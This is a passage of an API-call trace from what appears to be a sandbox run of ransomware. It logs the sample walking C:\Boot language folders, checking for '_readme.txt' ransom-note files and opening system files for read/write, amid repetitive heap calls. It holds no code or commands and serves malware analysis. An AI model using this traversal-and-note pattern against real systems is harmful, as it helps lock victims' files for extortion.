lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.481] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned=".txt" [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.481] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.481] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.481] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.481] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.483] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0122.483] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.483] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.483] PathFindFileNameW (pszPath="") returned="" [0122.483] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.483] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.483] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.483] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.483] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0122.483] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0122.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.484] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.484] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.484] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.484] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0122.484] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.484] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.484] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned=".txt" [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.484] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.484] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.484] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.484] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.488] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.488] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.488] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.488] PathFindFileNameW (pszPath="") returned="" [0122.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.488] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.489] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.489] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.489] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.489] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0122.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.489] PathFileExistsW 